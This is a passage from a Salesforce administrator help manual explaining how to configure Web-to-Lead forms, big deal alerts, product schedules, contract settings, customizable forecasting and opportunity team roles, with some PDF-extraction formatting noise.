6. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language. 7. Specify the complete URL to which users should be directed after they submit their informationfor example, your company's home page for a thank you pageand click Generate. 8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website. 9. Click Finished. To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page to your website. Leads generated from your website are initially marked with the default status specified by the Lead Status picklist. For Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified in the form, or to the default member status if the Member Status field is not included in the form. In addition, new leads are marked as Unread, and are changed to Read when viewed or edited by the lead owner. Users can select the My Unread Leads list view to quickly locate their new leads.

1384

Sales

Restricting Price and Quantity Editing on Opportunity Products

Note: The format for date and currency fields captured online is taken from your organizations default settings Default Locale and Currency Locale. The daily limit for Web-to-Lead requests is 500. If your organization exceeds its daily Web-to-Lead limit, the Default Lead Creator (specified in the Web-to-Lead setup page) receives an email containing the additional lead information. See How many leads can we capture from our website? on page 3856 for additional information on Web-to-Lead limits. If a new lead cannot be generated due to errors in your Web-to-Lead setup, Customer Support is notified of the problem so that we can help you correct it. Salesforce runs field validation rules before creating records submitted via Web-to-Lead and only creates records that have valid values. All universally required fields must have a value before a record can be created via Web-to-Lead. Salesforce doesnt support rich text area (RTA) fields on Web-to-Lead forms. If you use RTA fields on your forms, any information entered in them is saved as plain text when the lead is created.

See Also:
Preparing to Set Up Web-to-Lead Capturing Web Leads

SALES
Restricting Price and Quantity Editing on Opportunity Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To restrict price and unit editing: Customize Application

To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the opportunity products page layout. To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout. Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.

1385

Customize

Customizing Big Deal Alerts

Customizing Big Deal Alerts


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To activate big deal alerts: Customize Application

Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability of 90%.

See Also:
Activating Big Deal Alerts

Activating Big Deal Alerts


You can activate one opportunity alert for your organization. The alert message resembles the opportunity detail page including the page layout and language from a selected user. Before you begin, you may want to decide which user has the page layout and language settings that you would like included in all alerts. This user must also have the View All Data permission. 1. Click Your Name > Setup > Customize > Opportunities > Big Deal Alert. 2. Enter a name for the alert. 3. Enter a Trigger Probability and Trigger Amount in the corporate currency. An opportunity alert is triggered for opportunities with this probability and amount or greater. The alert triggers only for those opportunities that meet both the trigger probability and trigger amount threshold settings. Note: An opportunity can trigger a big deal alert even if it is in a currency that is different from the corporate currency. The Amount on an opportunity is converted to corporate currency and compared to the Trigger Amount. If you are using advanced currency management, dated exchange rates will be used. 4. 5. 6. 7. Check the Active box if you would like to activate the new alert immediately after you save. Enter the From Email Name. Enter the From Email Address. Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the emails. This user must have the View All Data permission. For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the opportunity currency is different than the currency of the user selected in this step, both currencies are included in the email. Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid email addresses.

1386

Customize

Enabling Opportunity Update Reminders

The BCC: field is not available if your organization has enabled compliance BCC emails. 8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert emails. 9. Click Save. Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second alert if it crosses that threshold again. When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see Logging in to Connect Offline on page 2947.

See Also:
Customizing Big Deal Alerts Managing Multiple Currencies

Enabling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable opportunity update reminders: To activate or deactivate opportunity update reminders: Customize Application OR Manage Users Manage Users

Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers to schedule opportunity update remindersautomated opportunity reports that managers can customize for their teams. For example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on the team and have the report distributed to everyone on the team. 1. 2. 3. 4. Click Your Name > Setup > Customize > Opportunities > Update Reminders. Click Edit. Select Enable Update Reminders for My Organization. Deselect it to disable the feature. Optionally, select Automatically Activate Reminders for Users with Direct Reports to schedule opportunity update reminders for all users who have direct reports. Note: Partner and customer portal users assigned Executive roles are considered direct reports of their account owners. If an account owner is activated to receive opportunity update reminders, partner and customer portal users assigned as Executives to the account receive opportunity update reminders, even if they dont have access to the opportunity. To avoid reminders being sent to these users, remove them from the Executive role. 5. Click Save.

1387

Customize

Enabling and Configuring Similar Opportunities

6. Select the boxes next to the users you want to activate, then click Activate. Optionally, check the box in the column header to select all currently displayed items. Activated users can schedule opportunity update reminders. Any user that has direct reports can be activated. To deactivate users, select them and click Deactivate.

See Also:
Scheduling Opportunity Update Reminders

Enabling and Configuring Similar Opportunities


Available in: Enterprise, Unlimited, Developer Editions

User Permissions Needed To enable similar opportunities: Customize Application

The Similar Opportunities feature allows users to find Closed/Won opportunities that match the attributes of an opportunity they're currently viewing, and add them to the Similar Opportunities related list on that opportunity's record. Enable and configure this feature so your users can quickly access information about past opportunities that may be helpful for the deals they're currently working on. You can also modify the search criteria that Salesforce uses to identify similar opportunities and the opportunity record fields that are displayed in the Similar Opportunities related list. 1. 2. 3. 4. Click Your Name > Setup > Customize > Opportunities > Similar Opportunities. Click Edit. Select Enable Similar Opportunities to add the Similar Opportunities related list to opportunity detail pages. Select three to ten opportunity fields or related lists that you want Similar Opportunities searches to match against, and then click Add. Use CTRL+click to select multiple items individually or SHIFT+click to select a range of items. Note: A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the specified attributes are matches. The more search criteria you select, the more similar opportunities will be identified in a search. 5. Select up to 15 opportunity fields to display in the Similar Opportunities related list. The selected fields appear in the list as columns, which you can arrange using the Top, Up, Down, and Bottom arrows. Important: When deciding which opportunity fields to display, consider that users can see all of the information that is displayed in a Similar Opportunities related list, even if the list includes records that aren't ordinarily accessible because of sharing rules and permissions. 6. Click Save.

1388

Customize

Understanding Similar Opportunities Searches

7. Add the Similar Opportunities related list to the opportunity page layout.

See Also:
Understanding Similar Opportunities Searches Defining Similar Opportunities Search Criteria Customizing Page Layouts with the Enhanced Page Layout Editor Finding Similar Opportunities Using Opportunities

Understanding Similar Opportunities Searches


Available in: Enterprise, Unlimited, Developer Editions

A Similar Opportunities search finds Closed/Won opportunities that match attributes of the current opportunity. When enabling Similar Opportunities, you select the attributes that Salesforce uses as search criteria for identifying similar opportunities. You can select three to ten opportunity fields or related lists. When users search for similar opportunities, Salesforce finds a maximum of 10,000 matching Closed/Won opportunities in a 3 month periodstarting with the oldest records firstand displays up to 300 of the most relevant opportunities. A Closed/Won opportunity's relevance is determined by the number of attributes that match the current opportunity. A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the specified attributes are matches. The more search criteria you select, the more similar opportunities will be identified in a search. If there are more than 10,000 matching Closed/Won opportunities, some of the most recent records won't be included in the Similar Opportunities related list, even if they are highly relevant. Tip: The best way to ensure that Similar Opportunities searches find current matching records, especially if your organization has a large number of Closed/Won opportunities, is to define the smallest set of search criteria possible.

See Also:
Enabling and Configuring Similar Opportunities Defining Similar Opportunities Search Criteria

Defining Similar Opportunities Search Criteria


Available in: Enterprise, Unlimited, Developer Editions

If your organization uses the Similar Opportunities feature, you need to select the opportunity fields or related lists that are used as search criteria. You can use these standard fields and related lists.

1389

Customize

Prompting for Products on Opportunities

Standard Fields
Account Name Close Date Lead Source Opportunity Owner Primary Campaign Source Private Probability (%) Quantity Type

Standard Related Lists


Competitors Contact Role Partner Products Opportunity Team

You can also select any custom opportunity field, except those with these field types. Auto-number Currency Formula Picklist (multi-select) Roll-up summary Text (encrypted) Text area

See Also:
Enabling and Configuring Similar Opportunities Understanding Similar Opportunities Searches

Prompting for Products on Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable prompting for products: Modify All Data

Customize Salesforce to prompt users to select a product when creating an opportunity. Enabling this option makes it easier for users to add products while creating an opportunity. 1. Click Your Name > Setup > Customize > Opportunities > Settings. 2. Check Prompt users to add products to opportunities to have Salesforce prompt users to select a product when creating an opportunity.

1390

Customize

Automatically Activating Product Prices

3. Click Save. 4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven from the products on the opportunity. See Field-Level Security Overview on page 671. Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.

See Also:
Products, Price Books, and Schedules Overview

Automatically Activating Product Prices


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To auto-activate product prices: Customize Application

When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise, if you activate a product, you can have all the prices for that product automatically activated. 1. Click Your Name > Setup > Customize > Products > Settings. 2. Check When changing active flag on a product... to have Salesforce automatically change the active flag on all related prices to whatever the active flag is on the related product. Leave this field unchecked if you want related prices to remain the same status whenever users activate or deactivate a product. 3. Click Save.

See Also:
Products, Price Books, and Schedules Overview

1391

Customize

Using Product Families

Using Product Families


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit product families: Customize Application

Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software, you can create two product families: Hardware and Software. If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales. Users can also view forecasts for opportunities with hardware products separate from opportunities that include software products. See Do I Have Customizable Forecasting? on page 2624. To begin using product families: Customize the Product Family picklist to include the different categories of products you sell. See Picklist Considerations on page 1077. For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying and Editing Products on page 2739. If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting Quotas for Customizable Forecasting on page 518. If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 1396.

See Also:
Setting Up Customizable Forecasting

1392

Customize

Setting Up Product Schedules

Setting Up Product Schedules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up product schedules: Customize Application AND Read, Create, Edit, and Delete on products AND Read, Create, Edit, and Delete on price books

Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow users to create schedules for individual products on opportunities. Quantity Schedule Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your organization can decide exactly how to use quantity schedules. Revenue Schedule Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product. Your organization can decide exactly how to use revenue schedules. Default Schedule A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any particular opportunity, users can override the default schedules.

See Also:
Administrator tip sheet: Tips & Hints for Products and Schedules

Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To enable schedules for your organization: 1. Click Your Name > Setup > Customize > Products > Schedule Setup. 2. Select the appropriate checkboxes to enable quantity and revenue schedules for your organization. Note that disabling a schedule type automatically deletes all existing schedule information from products.

1393

Customize

Customizing Contract Settings

For a definition of each schedule type, see Setting Up Product Schedules on page 1393. 3. For each schedule type you enable, select whether to automatically enable that schedule type for every product in your price books. This option automatically selects the Quantity Scheduling Enabled or Revenue Scheduling Enabled checkboxes on every product in your price books. 4. Click Save. For greater control of schedules on a product-by-product basis, administrators can also determine which schedule types users can establish for each product (see Creating and Editing Default Schedules on page 2744). Note: Enabling or disabling schedules does not affect archived products. For information on archived products, see Deleting Products and Price Books on page 2756. You cannot disable both schedule types for your organization if schedules are referenced in Apex. For example, if Apex references the schedule object (represented as OpportunityLineItemSchedule in the code), you can disable one of the schedule types, but not both. For more information, see Apex Code Overview on page 2086.

Customizing Contract Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change contract settings: Customize Application

Customize Salesforce to handle your internal contract management process. Enable or disable contract expiration notices and auto-calculation of contract end dates. Enabling Contract Expiration Notices Set an option to automatically send email notifications to account and contract owners when a contract expires. To activate these expiration notices: 1. Click Your Name > Setup > Customize > Contracts > Settings. 2. Select the Send contract expiration notice emails... option. 3. Click Save. Remove the check on this option and click Save to stop sending expiration notices. Disabling Auto-Calculation of Contract End Dates Your contracts may not have end dates or you may prefer to have users enter them manually. If so, disable auto-calculation of contract end dates: 1. 2. 3. 4. Click Your Name > Setup > Customize > Contracts > Settings. Remove the check in the Auto-calculate Contract End Date option. Click Save. View your page layout and field-level security settings for Contract End Date, Contract Start Date, and Contract Term to ensure your users can read or edit them as needed. See Managing Page Layouts on page 1309 and About Field Accessibility on page 1331.

1394

Forecasts

Setting Up Customizable Forecasting

To enable auto-calculation, check this option and click Save. If Salesforce auto-calculates Contract End Date, it does not display on the contracts edit page. Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty, Contract End Date will be blank.

See Also:
Contracts Overview

FORECASTS
Setting Up Customizable Forecasting
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a view of your overall business no matter how dispersed your sales teams are. Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements. Get started using customizable forecasting by clicking Your Name > Setup > Customize > Forecasts (Customizable): Click Edit Forecast settings for your company to customize the default settings for your organization. See Defining Customizable Forecast Settings. Click Batch submit forecasts for your users to set up batch submission. See Submitting Customizable Forecasts in Batches. Click Set up the forecasting hierarchy for your company to set up your initial forecast hierarchy. Refer to Setting Up Your Forecast Hierarchy.

See Also:
Administrator tip sheet: Setting Up Customizable Forecasting Submitting Customizable Forecasts in Batches Using Product Families Defining Customizable Forecast Settings Setting Up Your Forecast Hierarchy Enabling Customizable Forecasting

1395

Customize

Defining Customizable Forecast Settings

Defining Customizable Forecast Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define forecast settings: Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Define the following settings for your organization: Forecast Data Aggregation determines the type of data that is displayed on forecasts. Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for default forecasts. Forecast Data Sharing determines whether forecast data can be shared.

To set forecast options: 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Settings. 2. Select Forecast Revenue if you want forecasts to include revenue amount. If you disable this setting, you will lose all revenue overrides on your forecasts. 3. Select Forecast Quantity if you want forecasts to include quantity totals. If you disable this setting, you will lose all quantity overrides on your forecasts. 4. Choose a Forecast Period. If you do not have custom fiscal years enabled, choose monthly or quarterly depending on your organizations forecasting cycle. If you have enabled custom fiscal years, you can choose to forecast by fiscal period or by fiscal quarter. The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available. If you change this setting, you will lose all overrides and forecasts, including all forecast history. 5. Choose a Forecast Date that determines how opportunity amounts contribute to forecasts: Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period for that date. If your organization does not use products, this is the only option available. Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank, Salesforce uses the Opportunity Close Date in the users forecast instead. Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce uses the Product Date in the users forecast instead.

6. Choose a Forecast Type that determines how many forecasts your users will submit in a period: Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and one quota for each period. If your organization does not use products, this is the only option available. Choose Use Product Families if your users have one quota and one forecast for each product family. See Using Product Families.

1396

Customize

Setting Your Fiscal Year

7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains the same for all users. 8. Enable or disable forecast sharing by selecting or deselecting Enable Forecast Sharing. 9. Click Save. If you have enabled forecast sharing, you are prompted to choose who can share existing forecast views. The options are:
Require Administrator assistance for forecast sharing - Only administrators can share existing

forecast data.
Forecast managers can share their own forecast data - Administrators can share existing forecast

data, and existing forecast managers can also share their own views. Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view. If you have chosen to disable forecast sharing, you are prompted to confirm your choice. If you use report builder, note that it doesnt support Customizable Forecasts.

See Also:
Setting Up Customizable Forecasting Manually Sharing a Forecast Setting Your Fiscal Year

Setting Your Fiscal Year


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set fiscal year: Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your fiscal year setting can be either 2005 or 2006. To set your fiscal year for customizable forecasting: 1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We recommend running and exporting the following reports: Opportunity Pipeline

1397

Customize

Setting Up Your Forecast Hierarchy

Quarterly Forecast Summary Quota vs Actual

2. Click Your Name > Setup > Customize > Forecasts (Customizable) > Fiscal Year. 3. Choose a Forecast Period of monthly or quarterly depending on your organizations forecasting cycle. The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available. 4. Choose a Fiscal Year Start Month that represents the beginning of your organizations fiscal year. 5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example, if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month because the last month determines how your organization refers to that fiscal year. 6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts created before you enabled customizable forecasts. Checking this option changes your historical forecast data. 7. Click Save.

See Also:
Defining Customizable Forecast Settings

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up forecast hierarchy: Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management. When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your organizations role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory management. To customize your forecast hierarchy: Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users for Customizable Forecasting. Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However, above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast Managers in Your Forecast Hierarchy. Share forecast manager views with other users. See Manually Sharing a Forecast.

1398

Customize

Setting Up Your Forecast Hierarchy

If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not been assigned to that role or territory.

See Also:
Setting Up Customizable Forecasting Enabling Users for Customizable Forecasting Assigning Forecast Managers in Your Forecast Hierarchy

Enabling Users for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up forecast hierarchy: Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

To enable users for customizable forecasting if your organization does not use territory management: 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy. 2. Click Enable Users next to a role to view a list of users assigned to that level. 3. Select a user and click Add to enable the user for customizable forecasting. To disable a user, select the user and click Remove. 4. Click Save. To enable a user for customizable forecasting if your organization uses territory management: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Users. Click Edit next to the user's name. Select Allow Forecasting. Click Save. Add the user to a territory.

If you use report builder, note that it doesnt support Customizable Forecasts.

1399

Customize

Setting Up Your Forecast Hierarchy

Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report. For more information on territory reports, see Territory Reports. If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy

See Also:
Setting Up Your Forecast Hierarchy

Assigning Forecast Managers in Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up forecast hierarchy: Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy. Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant. If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your forecasts. If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not been assigned to that role or territory. 1. Click Your Name > Setup > Customize > Forecasts > Forecasts (Customizable). 2. Click Assign Manager or Edit Manager next to a role to assign a user as the forecast manager of that role. Roles without roles below them cannot have forecast managers unless your organization has territory management, which supports forecast managers at all levels. 3. Choose a user to be assigned as the forecast manager of the selected role. If no users are available for the role, enable the appropriate user; see Enabling Users for Customizable Forecasting. 4. If forecast sharing is enabled, choose the sharing settings: Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view to administrators. This is the default option. Choose Forecast managers can share their own forecast views to allow the administrator or the forecast manager to share this view.

1400

Customize

Enabling Customizable Forecasting

5. Click Save.

See Also:
Setting Up Your Forecast Hierarchy Manually Sharing a Forecast

Enabling Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable customizable forecasts: Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable forecasts from the Forecasts tab based on your customizable forecast settings. If you use report builder, note that it doesnt support Customizable Forecasts. 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy. 2. Click Enable Customizable Forecasting. If this option is not available, customizable forecasting is already enabled for your organization. After you enable customizable forecasting, three new user permissions are available: Permission Override Forecasts Description Allows users to override their own forecasts and forecasts for users below them in the forecast hierarchy. All standard profiles except Read Only receive this permission. Allows users to change their individual quotas. All standard profiles except Read Only receive this permission. Users with the Manage Users permission can always edit any quota. Users can always edit the quotas of users that report directly to them. View All Forecasts Allows users to view any forecast regardless of their place in the forecast hierarchy. The System Administrator profile includes this permission.

Edit Personal Quota

3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list. Optionally, choose the Append... option to add this related list to page layouts even if users have customized them. 4. Click Save.

1401

Customize

Manually Sharing a Forecast

5. Enable or disable these permissions where necessary. For information on changing permissions, see Overview of User Permissions and Access on page 560. Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values map to Forecast Categories. For instructions on reviewing these mappings, see Picklists with Additional Information.

See Also:
Setting Up Customizable Forecasting Enabling Territory Management Manually Sharing a Forecast

Manually Sharing a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data. However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast manager who has been given access to share your forecast data. To see which users can view your forecast or to share your forecast data, do one of the following: Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy, then click Share next to the view you want to share. Click Sharing on the forecast home page to share your own forecast data.

The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have access to forecast data are: Reason Administrator Delegated Forecast Manager Forecast Manager Owner Description The user is an administrator, or has the Modify All Data permission. A user has access to forecast data that was granted via the Sharing button on the forecast. A user has access due to being a forecast manager in the forecast hierarchy. The owner can always see his or her own forecast data.

1402

Customize

Submitting Customizable Forecasts in Batches

Reason View All Forecasts Permission

Description The user has the View All Forecasts permission.

On the Forecast Sharing Detail page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant other users or groups access to the forecast data. Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to override forecast data, then the user also has permission to override the opportunity forecast data. Click Expand List to view all users that have access to the forecast data. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Defining Customizable Forecast Settings Assigning Forecast Managers in Your Forecast Hierarchy Enabling Customizable Forecasting Granting Access to Records Viewing Which Users Have Access

Submitting Customizable Forecasts in Batches


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To submit forecasts in batches: Modify All Data

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can submit their forecasts individually by clicking Submit from their forecast. To submit multiple forecasts at once: 1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Batch Submit. 2. Choose the appropriate forecast period. 3. Select the users that have forecasts you want to submit and click Add to add them to the list of Selected Users for Batch Submit. Select more than one at a time using CTRL+click. 4. Click Submit.

1403

Team Selling

Customizing Opportunity Teams

5. Click OK.

See Also:
Setting Up Customizable Forecasting

TEAM SELLING
Customizing Opportunity Teams
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable team selling: To create or change custom fields: To define or change field validation rules: To define Apex triggers: To set up team roles: To add a custom button or link: To edit page layouts: Customize Application Customize Application Customize Application Author Apex Customize Application Customize Application Customize Application

An opportunity team is a set of users that normally work together on sales opportunities. A typical opportunity team might include the account manager, the sales representative, and a pre-sales consultant. When team selling is enabled, you can customize opportunity teams for your organization. Enable team selling and select which existing page layouts will include the Opportunity Team related list. To change the location of the related list on a particular page, customize the page layout. Create a custom field for the opportunity team. Custom fields appear on the Opportunity Team Member page and can be included in opportunity team reports. You can create a maximum of 50 custom fields. Note: If you delete a custom field, filters that use the custom field are also deleted, and the result of assignment or escalation rules that rely on the custom fields data might change. Define and activate validation rules that opportunity team data must meet before a user can save the record. Define and activate Apex code that executes before or after specific data manipulation language (DML) events occur, such as before opportunity team records are inserted into the database, or after records have been deleted. Define opportunity team roles for your organization.

1404

Customize

Customizing Opportunity Teams

Optionally, replace existing team roles. You can globally replace an existing value in a picklist with a new value that youve first created using the picklist edit page. Replacing an existing team role affects opportunity team and account team members.

Add a custom button or link to the opportunity team. Customize the Opportunity Team Member page layout and specify which fields will appear on the Opportunity Team Member multi-line page. You can add custom fields, buttons and links, and customizable related lists to a page layout. Edit the Opportunity Team related list properties on each page layout containing the Opportunity Team related list. You can add custom fields and buttons to the related list. To display opportunity team information in a related list on a parent page, you must create a link between the opportunity team member and the parent. For example, to display opportunity team member information on the associated account detail page, create a custom lookup relationship field for account on the opportunity team, add it to the Opportunity Team Member multi-line page, and then set this field to the parent account for each opportunity team member. View limits that apply to the opportunity team such as the maximum number of custom fields you can define. Create custom report types for opportunity teams. The opportunity team must always have a parent object and cant have any child objects. For example, an opportunity team member in a custom report type can be related to a parent account but a contact cant be related to a parent opportunity team member. Disable team selling to remove default opportunity teams and existing teams on opportunities. Note: There are several limitations for opportunity teams. You cant define workflows for opportunity teams. You cant create a look up from an object, such as an account, to an opportunity team member. You cant rename tabs and labels for an opportunity team member. Validation rules and Apex triggers arent supported when a user adds the default opportunity team on an opportunity.

Customizing Opportunity Team Roles


Every opportunity team member has a role in that opportunity, like Account Manager or Sales Rep. You can customize the opportunity team roles for your organization. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up team roles: Customize Application

1. Click Your Name > Setup > Customize > Opportunities > Opportunity Teams. 2. Click Team Roles. 3. Edit the existing team roles. See Additional Options for Updating Picklists.

1405

Customize

Customizing Opportunity Teams

Note: Opportunity teams share roles with account teams. So if you remove an opportunity team role, that role will no longer be listed as an account team role.

See Also:
Customizing Opportunity Teams

Replacing Opportunity Team Roles


If you have changed your opportunity team roles, you can globally replace the values in all existing records. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up team roles: Customize Application

1. 2. 3. 4. 5. 6.

If necessary, create the replacement value in the picklist edit page. See Updating Picklists. Click Your Name > Setup > Customize > Opportunities > Opportunity Teams. Click Replace Team Roles. Type the exact value you want to change, and select a new replacement value. To apply the new value on any records with a blank value in this field, check Replace all blank values. To update all occurrences of the value in your organizations records with the new value, click Replace. Occurrences in the Recycle Bin are also updated. 7. On the Replace Picklist Confirmation page, click Finished. Note: Opportunity teams share roles with account teams. So if you remove an opportunity team role, that role will no longer be listed as an account team role.

See Also:
Customizing Opportunity Teams

1406

Customize

Customizing Opportunity Teams

Editing Multi-Line Layouts for Opportunity Teams


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit multi-line layouts for opportunity teams: Customize Application

